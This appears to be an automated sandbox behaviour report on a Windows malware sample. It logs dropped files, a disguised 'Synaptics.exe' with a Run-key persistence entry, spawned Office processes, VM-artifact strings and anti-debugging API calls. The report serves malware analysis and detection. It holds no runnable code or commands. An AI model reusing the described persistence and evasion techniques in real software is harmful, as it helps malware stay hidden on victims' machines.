Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Desktop\._cache_file.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\1049\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\1033\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\SetupUi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\1041\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\1040\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\36a8a8e2fed651ec27d1eed188bb35\1042\SetupResources.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\RCX3CE.tmp			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\AFWAAFRXKO\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1033\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1041\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1042\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1028\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\2052\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1040\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1036\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1031\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\3082\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1049\eula.rtf	Jump to behavior

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\VSSetup

Jump to behavior

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6C8EF721 StartServiceW,

4_2_6C8EF721

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 3297
Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 6662

Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\1031\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\3082\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\2052\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\1028\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\1036\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\1049\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\1033\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\1041\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\1040\SetupResources.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\36a8a8e2fed651ec27d1eed188bb35\1042\SetupResources.dll	Jump to dropped file

Source: C:\Users\user\Desktop\._cache_file.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_2-2912

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 8108	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 8108	Thread sleep time: -3780000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 8476	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_010046B9 SendDlgItemMessageA,strstr,SetFileAttributesA,GetLastError,CopyFileA,SendDlgItemMessageA,strstr,SetFileAttributesA,CopyFileA,GetLastError,CopyFileA,SetFileAttributesA,SendDlgItemMessageA,_strlwr,GetLastError,MoveFileA,MoveFileA,_strlwr,strstr,FindFirstFileA,strrchr,SendDlgItemMessageA,DeleteFileA,Sleep,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,strchr,strrchr,SendDlgItemMessageA,	2_2_010046B9
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5E8097 memset,memset,FindFirstFileW,DeleteFileW,GetLastError,FindNextFileW,FindClose,	4_2_6C5E8097
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5D4281 memset,EnterCriticalSection,FindFirstFileW,LeaveCriticalSection,ctype,FindNextFileW,FindClose,ResetEvent,CreateThread,CloseHandle,GetLastError,	4_2_6C5D4281
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8D5B82 __EH_prolog3_GS,_memset,FindFirstFileW,FindNextFileW,FindClose,	4_2_6C8D5B82
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8D410A FindFirstFileW,GetFullPathNameW,SetLastError,_wcsrchr,_wcsrchr,	4_2_6C8D410A

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6C900C91 __EH_prolog3_GS,GetModuleHandleW,GetLastError,GetSystemInfo,GetNativeSystemInfo,GetLastError,GetLastError,GetLastError,_memset,GetNativeSystemInfo,GetLastError,

4_2_6C900C91

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior

Source: Amcache.hve.17.dr	Binary or memory string: VMware
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.17.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.17.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.17.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.17.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.17.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wordpad.exe, 0000000B.00000003.1627079273.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Amcache.hve.17.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Synaptics.exe, 00000003.00000002.1980458813.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.17.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.17.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: vmci.sys
Source: wordpad.exe, 0000000B.00000003.1627079273.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWk(
Source: Amcache.hve.17.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.17.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.17.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.17.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.17.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.17.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.17.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.17.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.17.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.17.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.17.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.17.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: wordpad.exe, 0000000B.00000003.1627079273.0000000007EE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.17.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\._cache_file.exe	API call chain: ExitProcess graph end node	graph_2-2537
Source: C:\Users\user\Desktop\._cache_file.exe	API call chain: ExitProcess graph end node	graph_2-2873
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	API call chain: ExitProcess graph end node	graph_4-72211

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_00292BA5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_00292BA5

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Code function: 4_2_6C91C78B VirtualProtect ?,-00000001,00000104,?

4_2_6C91C78B

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_010029C2 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

2_2_010029C2

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_01005899 InitializeCriticalSectionAndSpinCount,#17,GetProcessHeap,CreateEventA,CreateEventA,CreateEventA,CreateThread,WaitForSingleObject,SendDlgItemMessageA,Sleep,ShowWindow,SetParent,SendDlgItemMessageA,SendDlgItemMessageA,SendDlgItemMessageA,ShowWindow,LoadStringA,LoadStringA,SendDlgItemMessageA,SendDlgItemMessageA,SendDlgItemMessageA,SendDlgItemMessageA,SendDlgItemMessageA,ShowWindow,CreateFileA,GetFileSize,ReadFile,CloseHandle,DeleteFileA,SendDlgItemMessageA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,ExpandEnvironmentStringsA,CreateProcessA,ShowWindow,WaitForSingleObject,GetExitCodeProcess,CloseHandle,ShowWindow,LoadStringA,MessageBoxA,DeleteCriticalSection,ExitProcess,

2_2_01005899

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_010062FF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_010062FF
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_00292BA5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00292BA5
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_002945BE _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_002945BE
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6396B38A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6396B38A
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_639687C1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_639687C1
